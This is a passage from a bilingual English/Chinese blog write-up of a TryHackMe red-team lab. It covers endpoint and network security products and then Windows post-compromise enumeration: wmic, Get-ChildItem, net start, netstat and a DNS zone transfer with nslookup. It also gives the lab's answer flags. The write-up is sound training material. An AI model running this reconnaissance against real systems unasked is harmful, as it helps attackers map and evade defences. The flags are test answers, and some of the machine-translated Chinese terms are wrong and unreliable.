&lt;li&gt;Signature-based &lt;u&gt;IDS&lt;/u&gt; - it looks at checksums and message authentication.&lt;br&gt;基于签名的 IDS - 它查看校验和和消息身份验证。&lt;/li&gt;
&lt;li&gt;Anomaly-based &lt;u&gt;IDS&lt;/u&gt; looks for unexpected activities, including abnormal bandwidth usage, protocols, and ports.&lt;br&gt;基于异常的 IDS 会查找意外活动，包括异常带宽使用、协议和端口。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Host-based Intrusion Prevention Systems (&lt;strong&gt;&lt;u&gt;HIPS&lt;/u&gt;&lt;/strong&gt;) secure the operating system activities of the device where they are installed. It is a detection and prevention solution against well-known attacks and abnormal behaviours. HIPS can audit the host&amp;#39;s log files, monitor processes, and protect system resources. &lt;u&gt;HIPS&lt;/u&gt; combines many product features such as antivirus, behaviour analysis, network, application firewall, etc.&lt;br&gt;基于主机的入侵防御系统 （HIPS） 可保护安装它们的设备的操作系统活动。它是一种针对众所周知的攻击和异常行为的检测和预防解决方案。HIPS 可以审核主机的日志文件、监控进程并保护系统资源。HIPS结合了许多产品功能，如防病毒、行为分析、网络、应用程序防火墙等。  &lt;/p&gt;
&lt;p&gt;There is also a network-based &lt;u&gt;IDS&lt;/u&gt;/&lt;u&gt;IPS&lt;/u&gt;, which we will be covering in the next task.&lt;br&gt;还有一个基于网络的 IDS/IPS，我们将在下一个任务中介绍。&lt;/p&gt;
&lt;p&gt;Endpoint Detection and Response (&lt;u&gt;EDR&lt;/u&gt;)&lt;br&gt;端点检测和响应 （EDR）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It is also known as Endpoint Detection and Threat Response (EDTR). The &lt;u&gt;EDR&lt;/u&gt; is a cybersecurity solution that defends against malware and other threats. EDRs can look for malicious files, monitor endpoint, system, and network events, and record them in a database for further analysis, detection, and investigation. EDRs are the next generation of antivirus and detect malicious activities on the host in real-time.&lt;br&gt;它也称为端点检测和威胁响应 （EDTR）。EDR 是一种网络安全解决方案，可防御恶意软件和其他威胁。EDR 可以查找恶意文件，监控端点、系统和网络事件，并将其记录在数据库中，以便进一步分析、检测和调查。EDR 是下一代防病毒软件，可实时检测主机上的恶意活动。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;EDR&lt;/u&gt; analyze system data and behavior for making section threats, including&lt;br&gt;EDR 分析系统数据和行为以制造部分威胁，包括&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malware, including viruses, trojans, adware, keyloggers&lt;br&gt;恶意软件，包括病毒、特洛伊木马、广告软件、键盘记录器&lt;/li&gt;
&lt;li&gt;Exploit chains 漏洞利用链&lt;/li&gt;
&lt;li&gt;Ransomware 勒索软件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Below are some common &lt;u&gt;EDR&lt;/u&gt; software for endpoints&lt;br&gt;以下是一些常见的端点EDR软件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cylance 西兰斯&lt;/li&gt;
&lt;li&gt;Crowdstrike 众殴&lt;/li&gt;
&lt;li&gt;Symantec 赛门铁克&lt;/li&gt;
&lt;li&gt;SentinelOne 哨兵一号&lt;/li&gt;
&lt;li&gt;Many others 还有很多其他的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even though an attacker successfully delivered their payload and bypassed &lt;u&gt;EDR&lt;/u&gt; in receiving reverse shell, &lt;u&gt;EDR&lt;/u&gt; is still running and monitors the system. It may block us from doing something else if it flags an alert.&lt;br&gt;即使攻击者成功交付了有效负载并在接收反向 shell 时绕过了 EDR，EDR 仍在运行并监视系统。如果它标记警报，它可能会阻止我们执行其他操作。&lt;/p&gt;
&lt;p&gt;We can use scripts for enumerating security products within the machine, such as &lt;a href=&quot;https://github.com/PwnDexter/Invoke-EDRChecker&quot;&gt;Invoke-EDRChecker&lt;/a&gt; and &lt;a href=&quot;https://github.com/PwnDexter/SharpEDRChecker&quot;&gt;SharpEDRChecker&lt;/a&gt;. They check for commonly used Antivirus, &lt;u&gt;EDR&lt;/u&gt;, logging monitor products by checking file metadata, processes, &lt;u&gt;DLL&lt;/u&gt; loaded into current processes, Services, and drivers, directories.&lt;br&gt;我们可以使用脚本来枚举计算机中的安全产品，例如 Invoke-EDRChecker 和 SharpEDRChecker。他们通过检查加载到当前进程、服务和驱动程序目录中的文件元数据、进程、DLL 来检查常用的防病毒、EDR、日志记录监视器产品。&lt;/p&gt;
&lt;h1&gt;Network Security Solutions&lt;/h1&gt;
&lt;p&gt;This task will discuss network security solutions commonly seen and used in enterprises networks.&lt;br&gt;本任务将讨论企业网络中常见和使用的网络安全解决方案。&lt;/p&gt;
&lt;p&gt;Network Security Solutions&lt;br&gt;网络安全解决方案&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-16.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Network security solutions could be software or hardware appliances used to monitor, detect and prevent malicious activities within the network. It focuses on protecting clients and devices connected to the cooperation network. The network security solution includes but is not limited to:&lt;br&gt;网络安全解决方案可以是用于监控、检测和防止网络内恶意活动的软件或硬件设备。它侧重于保护连接到合作网络的客户端和设备。网络安全解决方案包括但不限于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Network &lt;u&gt;Firewall&lt;/u&gt; 网络防火墙&lt;/li&gt;
&lt;li&gt;&lt;u&gt;SIEM&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;暹罗&lt;/u&gt;&lt;/li&gt;
&lt;li&gt;&lt;u&gt;IDS&lt;/u&gt;/&lt;u&gt;IPS&lt;/u&gt; IDS/IPS认证&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Network &lt;u&gt;Firewall&lt;/u&gt; 网络防火墙&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-17.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;A firewall is the first checkpoint for untrusted traffic that arrives at a network. The firewall filters the untrusted traffic before passing it into the network based on rules and policies. In addition, Firewalls can be used to separate networks from external traffic sources, internal traffic sources, or even specific applications. Nowadays, firewall products are built-in network routers or other security products that provide various security features. The following are some firewall types that enterprises may use.&lt;br&gt;防火墙是到达网络的不受信任流量的第一个检查点。防火墙会根据规则和策略将不受信任的流量传递到网络之前对其进行过滤。此外，防火墙可用于将网络与外部流量源、内部流量源甚至特定应用程序分开。如今，防火墙产品是内置网络路由器或其他提供各种安全功能的安全产品。以下是企业可能使用的一些防火墙类型。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Packet-filtering firewalls&lt;br&gt;数据包过滤防火墙&lt;/li&gt;
&lt;li&gt;&lt;u&gt;Proxy&lt;/u&gt; firewalls  代理防火墙&lt;/li&gt;
&lt;li&gt;NAT firewalls  NAT 防火墙&lt;/li&gt;
&lt;li&gt;Web application firewalls&lt;br&gt;Web 应用程序防火墙&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Security Information and Event Management (&lt;u&gt;SIEM&lt;/u&gt;)&lt;br&gt;安全信息和事件管理 （SIEM）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-18.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;u&gt;SIEM&lt;/u&gt; combines Security Information Management (SIM) and Security Event Management (SEM) to monitor and analyze events and track and log data in real-time. &lt;u&gt;SIEM&lt;/u&gt; helps system administrators and blue teamers to monitor and track potential security threats and vulnerabilities before causing damage to an organization.&lt;br&gt;SIEM 结合了安全信息管理 （SIM） 和安全事件管理 （SEM） 来监控和分析事件，并实时跟踪和记录数据。SIEM 可帮助系统管理员和蓝队成员在对组织造成损害之前监控和跟踪潜在的安全威胁和漏洞。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;SIEM&lt;/u&gt; solutions work as log data aggregation center, where it collects log files from sensors and perform functions on the gathered data to identify and detect security threats or attacks. The following are some of the functions that a &lt;u&gt;SIEM&lt;/u&gt; may offer:&lt;br&gt;SIEM 解决方案充当日志数据聚合中心，从传感器收集日志文件，并对收集的数据执行功能，以识别和检测安全威胁或攻击。以下是 SIEM 可能提供的一些功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Log management: It captures and gathers data for the entire enterprise network in real-time.&lt;br&gt;日志管理：实时捕获和收集整个企业网络的数据。&lt;/li&gt;
&lt;li&gt;Event analytics: It applies advanced analytics to detect abnormal patterns or behaviors, available in the dashboard with charts and statistics.&lt;br&gt;事件分析：它应用高级分析来检测异常模式或行为，可在仪表板中使用图表和统计信息。&lt;/li&gt;
&lt;li&gt;Incident monitoring and security alerts: It monitors the entire network, including connected users, devices, applications, etcetera, and as soon as attacks are detected, it alerts administrators immediately to take appropriate action to mitigate.&lt;br&gt;事件监控和安全警报：它监控整个网络，包括连接的用户、设备、应用程序等，一旦检测到攻击，它会立即提醒管理员采取适当的措施来缓解。&lt;/li&gt;
&lt;li&gt;Compliance management and reporting: It generates real-time reports at any time.&lt;br&gt;合规管理和报告：随时生成实时报告。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SIEM is capable of detecting advanced and unknown threats using integrated threat intelligence and AI technologies, including Insider threats, security vulnerabilities, phishing attacks, Web attacks, &lt;u&gt;DDoS&lt;/u&gt; attacks, data exfiltration, etc.&lt;br&gt;SIEM 能够使用集成的威胁情报和 AI 技术检测高级和未知威胁，包括内部威胁、安全漏洞、网络钓鱼攻击、Web 攻击、DDoS 攻击、数据泄露等。&lt;/p&gt;
&lt;p&gt;The following are some of the &lt;u&gt;SIEM&lt;/u&gt; products that are commonly seen in many enterprises:&lt;br&gt;以下是许多企业中常见的一些 SIEM 产品：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;Splunk&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;斯普伦克&lt;/u&gt;&lt;/li&gt;
&lt;li&gt;LogRhythm NextGen &lt;u&gt;SIEM&lt;/u&gt; Platform&lt;br&gt;LogRhythm NextGen SIEM 平台&lt;/li&gt;
&lt;li&gt;SolarWinds Security Event Manager&lt;br&gt;SolarWinds 安全事件管理器&lt;/li&gt;
&lt;li&gt;Datadog Security Monitoring&lt;br&gt;Datadog 安全监控&lt;/li&gt;
&lt;li&gt;many others 还有很多其他的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Intrusion Detection System and Intrusion Prevention System (&lt;u&gt;NIDS&lt;/u&gt;/&lt;u&gt;NIPS&lt;/u&gt;)&lt;br&gt;入侵检测系统和入侵防御系统（NIDS/NIPS）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Network-based &lt;u&gt;IDS&lt;/u&gt;/IPS have a similar concept to the host-based &lt;u&gt;IDS&lt;/u&gt;/IPS. The main difference is that the network-based products focus on the security of a network instead of a host. The network-based solution will be based on sensors and agents distributed in the network devices and hosts to collect data. &lt;u&gt;IDS&lt;/u&gt; and IPS are both detection and monitoring cybersecurity solutions that an enterprise uses to secure its internal systems. They both read network packets looking for abnormal behaviors and known threats pre-loaded into a previous database. The significant difference between both solutions is that the &lt;u&gt;IDS&lt;/u&gt; requires human interaction or 3rd party software to analyze the data to take action. The &lt;u&gt;IPS&lt;/u&gt; is a control system that accepts or rejects packets based on policies and rules.&lt;br&gt;基于网络的 IDS/IPS 与基于主机的 IDS/IPS 具有类似的概念。主要区别在于，基于网络的产品侧重于网络而不是主机的安全性。基于网络的解决方案将基于分布在网络设备和主机中的传感器和代理来收集数据。IDS 和 IPS 都是检测和监控网络安全解决方案，企业使用它们来保护其内部系统。它们都读取网络数据包，寻找预加载到先前数据库中的异常行为和已知威胁。这两种解决方案之间的显着区别在于，IDS需要人工交互或第三方软件来分析数据以采取行动。IPS 是一种控制系统，它根据策略和规则接受或拒绝数据包。&lt;/p&gt;
&lt;p&gt;The following are common enterprise &lt;u&gt;IDS&lt;/u&gt;/&lt;u&gt;IPS&lt;/u&gt; products&lt;br&gt;以下是常见的企业 IDS/IPS 产品&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo Alto Networks 帕洛阿尔托网络&lt;/li&gt;
&lt;li&gt;Cisco&amp;#39;s Next-Generation  思科的下一代产品&lt;/li&gt;
&lt;li&gt;McAfee Network Security Platform (NSP)&lt;br&gt;McAfee Network Security Platform （NSP） （英语）&lt;/li&gt;
&lt;li&gt;Trend Micro TippingPoint 趋势科技引爆点&lt;/li&gt;
&lt;li&gt;Suricata 苏里卡塔&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For more information about IDS/IPS, visit the reference &lt;a href=&quot;https://geekflare.com/ids-vs-ips-network-security-solutions/&quot;&gt;link&lt;/a&gt;.&lt;br&gt;有关 IDS/IPS 的更多信息，请访问参考链接。&lt;/p&gt;
&lt;h1&gt;Applications and Services&lt;/h1&gt;
&lt;p&gt;This task will expand our knowledge needed to learn more about the system. We discussed account discovery and security products within the system in previous tasks. We will continue learning more about the system, including:&lt;br&gt;这项任务将扩展我们了解该系统所需的知识。在之前的任务中，我们讨论了系统内的帐户发现和安全产品。我们将继续了解有关该系统的更多信息，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Installed applications 已安装的应用程序  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Services and processes 服务和流程&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sharing files and printers&lt;br&gt;共享文件和打印机  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Internal services: &lt;u&gt;DNS&lt;/u&gt; and local web applications&lt;br&gt;内部服务：DNS 和本地 Web 应用程序&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is necessary to understand what the system provides in order to get the benefit of the information.&lt;br&gt;有必要了解系统提供的内容，以便从信息中受益。&lt;/p&gt;
&lt;p&gt;Installed Applications 已安装的应用程序&lt;/p&gt;
&lt;p&gt;First, we start enumerating the system for installed applications by checking the application&amp;#39;s name and version. As a red teamer, this information will benefit us. We may find vulnerable software installed to exploit and escalate our system privileges. Also, we may find some information, such as plain-text credentials, is left on the system that belongs to other systems or services.&lt;br&gt;首先，我们通过检查应用程序的名称和版本来开始枚举已安装应用程序的系统。作为红队队员，这些信息将使我们受益。我们可能会发现安装了易受攻击的软件来利用和提升我们的系统权限。此外，我们可能会发现一些信息（例如纯文本凭据）保留在属于其他系统或服务的系统上。&lt;/p&gt;
&lt;p&gt;We will be using the wmic Windows command to list all installed applications and their version.&lt;br&gt;我们将使用 wmic Windows 命令列出所有已安装的应用程序及其版本。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Another interesting thing is to look for particular text strings, hidden directories, backup files. Then we can use the PowerShell cmdlets, Get-ChildItem, as follow:&lt;br&gt;另一件有趣的事情是查找特定的文本字符串、隐藏目录、备份文件。然后，我们可以使用 PowerShell cmdlet Get-ChildItem，如下所示：&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Services and Process 服务和流程  &lt;/p&gt;
&lt;p&gt;Windows services enable the system administrator to create long-running executable applications in our own Windows sessions. Sometimes Windows services have misconfiguration permissions, which escalates the current user access level of permissions. Therefore, we must look at running services and perform services and processes reconnaissance.  For more details, you can read about process discovery on &lt;a href=&quot;https://attack.mitre.org/techniques/T1057/&quot;&gt;AttackMITRE&lt;/a&gt;.&lt;br&gt;Windows 服务使系统管理员能够在我们自己的 Windows 会话中创建长时间运行的可执行应用程序。有时，Windows 服务具有错误配置的权限，这会提升当前用户访问权限级别。因此，我们必须查看正在运行的服务并执行服务和进程侦察。有关更多详细信息，您可以阅读有关 Attack MITRE 上的进程发现的信息。&lt;/p&gt;
&lt;p&gt;Process discovery is an enumeration step to understand what the system provides. The red team should get information and details about running services and processes on a system. We need to understand as much as possible about our targets. This information could help us understand common software running on other systems in the network. For example, the compromised system may have a custom client application used for internal purposes. Custom internally developed software is the most common root cause of escalation vectors. Thus, it is worth digging more to get details about the current process.&lt;br&gt;进程发现是了解系统提供的内容的枚举步骤。红队应获取有关在系统上运行服务和进程的信息和详细信息。我们需要尽可能多地了解我们的目标。这些信息可以帮助我们了解在网络中其他系统上运行的常见软件。例如，受感染的系统可能具有用于内部目的的自定义客户端应用程序。自定义内部开发的软件是升级向量的最常见根本原因。因此，值得深入挖掘以获取有关当前过程的详细信息。&lt;/p&gt;
&lt;p&gt;For more details about core Windows processes from the blue team perspective, check out the TryHackMe room: &lt;a href=&quot;https://tryhackme.com/room/btwindowsinternals&quot;&gt;Core Windows Process&lt;/a&gt;.&lt;br&gt;有关从蓝队角度进行的核心 Windows 进程的更多详细信息，请查看 TryHackMe 会议室：核心 Windows 进程。&lt;/p&gt;
&lt;p&gt;Sharing files and Printers&lt;br&gt;共享文件和打印机&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-20.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sharing files and network resources is commonly used in personal and enterprise environments. System administrators misconfigure access permissions, and they may have useful information about other accounts and systems. For more information on printer hacking, we suggest trying out the following TryHackMe room: &lt;a href=&quot;https://tryhackme.com/room/printerhacking101&quot;&gt;Printer Hacking 101&lt;/a&gt;.&lt;br&gt;共享文件和网络资源通常用于个人和企业环境。系统管理员错误地配置了访问权限，他们可能拥有有关其他帐户和系统的有用信息。有关打印机黑客攻击的更多信息，我们建议您尝试以下 TryHackMe 房间：打印机黑客攻击 101。&lt;/p&gt;
&lt;p&gt;Internal services: &lt;u&gt;DNS&lt;/u&gt;, local web applications, etc&lt;br&gt;内部服务：DNS、本地 Web 应用程序等&lt;/p&gt;
&lt;p&gt;Internal network services are another source of information to expand our knowledge about other systems and the entire environment. To get more details about network services that are used for external and internal network services, we suggest trying out the following rooms: &lt;a href=&quot;https://tryhackme.com/room/networkservices&quot;&gt;Network Service&lt;/a&gt;, &lt;a href=&quot;https://tryhackme.com/room/networkservices2&quot;&gt;Network Service2&lt;/a&gt;.&lt;br&gt;内部网络服务是扩展我们对其他系统和整个环境的了解的另一个信息来源。要获取有关用于外部和内部网络服务的网络服务的更多详细信息，我们建议您尝试以下房间：网络服务、网络服务2。&lt;/p&gt;
&lt;p&gt;The following are some of the internal services that are commonly used that we are interested in:&lt;br&gt;以下是我们感兴趣的一些常用内部服务：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;DNS&lt;/u&gt; Services DNS 服务&lt;/li&gt;
&lt;li&gt;Email Services 电子邮件服务&lt;/li&gt;
&lt;li&gt;Network File Share 网络文件共享&lt;/li&gt;
&lt;li&gt;Web application Web 应用程序&lt;/li&gt;
&lt;li&gt;Database service 数据库服务&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; wmic product get name,version
Name                                                            Version
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910     14.28.29910
AWS Tools for Windows                                           3.15.1248
Amazon SSM Agent                                                3.0.529.0
aws-cfn-bootstrap                                               2.0.5
AWS PV Drivers                                                  8.3.4
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910  14.28.29910
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-ChildItem -Hidden -Path C:\Users\kkidd\Desktop\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s try listing the running services using the Windows command prompt net start to check if there are any interesting running services.&lt;br&gt;让我们尝试使用 Windows 命令提示符 net start 列出正在运行的服务，以检查是否有任何有趣的正在运行的服务。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; net start
These Windows services are started:

Active Directory Web Services
Amazon SSM Agent
Application Host Helper Service
Cryptographic Services
DCOM Server Process Launcher
DFS Namespace
DFS Replication
DHCP Client
Diagnostic Policy Service
THM Demo
DNS Client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see a service with the name THM Demo which we want to know more about.&lt;br&gt;我们可以看到一个名为 THM Demo 的服务，我们想了解更多。  &lt;/p&gt;
&lt;p&gt;Now let&amp;#39;s look for the exact service name, which we need to find more information.&lt;br&gt;现在让我们寻找确切的服务名称，我们需要找到更多信息。  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; wmic service where &amp;quot;name like &amp;#39;THM Demo&amp;#39;&amp;quot; get Name,PathName
Name         PathName
THM Service  c:\Windows\thm-demo.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We find the file name and its path; now let&amp;#39;s find more details using the Get-Process cmdlet.&lt;br&gt;我们找到文件名及其路径;现在，让我们使用 Get-Process cmdlet 查找更多详细信息。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-Process -Name thm-demo

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
     82       9    13128       6200              3212   0 thm-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we find its process ID, let&amp;#39;s check if providing a network service by listing the listening ports within the system.&lt;br&gt;找到它的进程 ID 后，让我们通过列出系统内的侦听端口来检查是否提供网络服务。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; netstat -noa |findstr &amp;quot;LISTENING&amp;quot; |findstr &amp;quot;3212&amp;quot;
  TCP    0.0.0.0:8080          0.0.0.0:0              LISTENING       3212
  TCP    [::]:8080             [::]:0                 LISTENING       3212
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, we can see it is listening on port 8080. Now try to apply what we discussed and find the port number for THM Service. What is the port number?&lt;br&gt;最后，我们可以看到它正在侦听端口 8080。现在尝试应用我们讨论的内容并找到 THM 服务的端口号。端口号是什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PS C:\Users\kkidd&amp;gt; Get-Process -Name thm-service&lt;/p&gt;
&lt;p&gt;Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName&lt;/p&gt;
&lt;hr&gt;
&lt;pre&gt;&lt;code&gt; 82       9    12844       5716              2800   0 thm-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PS C:\Users\kkidd&amp;gt; netstat -noa |findstr &amp;quot;LISTENING&amp;quot; |findstr &amp;quot;2800&amp;quot;&lt;/p&gt;
&lt;p&gt;  TCP    0.0.0.0:13337          0.0.0.0:0              LISTENING       2800&lt;/p&gt;
&lt;p&gt;  TCP    [::]:13337             [::]:0                 LISTENING       2800&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;故为13337&lt;/p&gt;
&lt;p&gt;Visit the localhost on the port you found in Question #1. What is the flag?&lt;br&gt;访问您在问题 #1 中找到的端口上的 localhost。什么是旗帜？&lt;/p&gt;
&lt;p&gt;访问即可&lt;/p&gt;
&lt;p&gt;THM{S3rv1cs_1s_3numerat37ed}&lt;/p&gt;
&lt;p&gt;We mentioned that DNS service is a commonly used protocol in any active directory environment and network. The attached machine provides DNS services for AD. Let&amp;#39;s enumerate the DNS by performing a zone transfer DNS and see if we can list all records.&lt;br&gt;我们提到，DNS服务是任何Active Directory环境和网络中常用的协议。连接的计算机为 AD 提供 DNS 服务。让我们通过执行区域传输 DNS 来枚举 DNS，看看是否可以列出所有记录。&lt;/p&gt;
&lt;p&gt;We will perform DNS zone transfer using the Microsoft tool is nslookup.exe&lt;br&gt;我们将使用Microsoft工具执行DNS区域传输nslookup.exe.&lt;/p&gt;
&lt;p&gt;PowerShell PowerShell的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; nslookup.exe
Default Server:  UnKnown
Address:  ::1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we execute it, we provide the DNS server that we need to ask, which in this case is the target machine&lt;br&gt;一旦我们执行它，我们就会提供我们需要询问的DNS服务器，在本例中，它是目标计算机&lt;/p&gt;
&lt;p&gt;NSlookup NS查找&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;gt; server 10.10.125.185
Default Server:  [10.10.125.185]
Address:  10.10.125.185
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&amp;#39;s try the DNS zone transfer on the domain we find in the AD environment.&lt;br&gt;现在，让我们尝试在AD环境中找到的域上进行DNS区域传输。&lt;/p&gt;
&lt;p&gt;NSlookup NS查找&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;gt; ls -d thmredteam.com
[[10.10.125.185]]
 thmredteam.com.                SOA    ad.thmredteam.com hostmaster.thmredteam.com. (732 900 600 86400 3600)
 thmredteam.com.                A      10.10.125.185
 thmredteam.com.                NS     ad.thmredteam.com
***
 ad                             A      10.10.125.185
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The previous output is an example of successfully performing the DNS zone transfer.&lt;br&gt;前面的输出是成功执行 DNS 区域传输的示例。&lt;/p&gt;
&lt;p&gt;Now enumerate the domain name of the domain controller, thmredteam.com, using the nslookup.exe, and perform a DNS zone transfer. &lt;strong&gt;What is the flag for one of the records?&lt;/strong&gt;&lt;br&gt;现在，使用nslookup.exe枚举域控制器 thmredteam.com 的域名，并执行 DNS 区域传输。其中一条记录的标志是什么？&lt;/p&gt;
&lt;p&gt;THM{DNS-15-Enumerated!}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DNS区域传输是一种DNS协议的功能，允许DNS服务器之间共享完整的DNS区域信息。攻击者可以利用这一功能来获取目标网络中所有DNS记录，包括主机名、IP地址、邮件服务器等信息，这些信息可能被用于后续的攻击、渗透测试或其他恶意活动。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-the-lay-of-the-land/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-the-lay-of-the-land/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 09 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Active Directory Basics</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-active-directory-basics/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-active-directory-basics/</guid><description>Windows Exploitation Basics</description><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Microsoft&amp;#39;s Active Directory is the backbone of the corporate world. It simplifies the management of devices and users within a corporate environment. In this room, we&amp;#39;ll take a deep dive into the essential components of Active Directory.&lt;br&gt;Microsoft的Active Directory是企业界的支柱。它简化了企业环境中设备和用户的管理。在这个房间里，我们将深入探讨 Active Directory 的基本组件。&lt;/p&gt;
&lt;p&gt;Room Objectives 房间目标&lt;/p&gt;
&lt;p&gt;In this room, we will learn about Active Directory and will become familiar with the following topics&lt;br&gt;在这个房间里，我们将了解 Active Directory，并熟悉以下主题&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What Active Directory is&lt;br&gt;什么是 Active Directory&lt;/li&gt;
&lt;li&gt;What an Active Directory Domain is&lt;br&gt;什么是 Active Directory 域&lt;/li&gt;
&lt;li&gt;What components go into an Active Directory Domain&lt;br&gt;哪些组件进入 Active Directory 域&lt;/li&gt;
&lt;li&gt;Forests and Domain Trust&lt;br&gt;林和域信任&lt;/li&gt;
&lt;li&gt;And much more! 还有更多！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Room Prerequisites 客房先决条件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;General familiarity with Windows. Check the &lt;a href=&quot;https://tryhackme.com/module/windows-fundamentals&quot;&gt;Windows Fundamentals module&lt;/a&gt; for more information on this.&lt;br&gt;对 Windows 的一般熟悉程度。有关详细信息，请查看 Windows 基础知识模块。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Click and continue learning!&lt;br&gt;点击并继续学习！&lt;/p&gt;
&lt;h1&gt;Windows Domains&lt;/h1&gt;
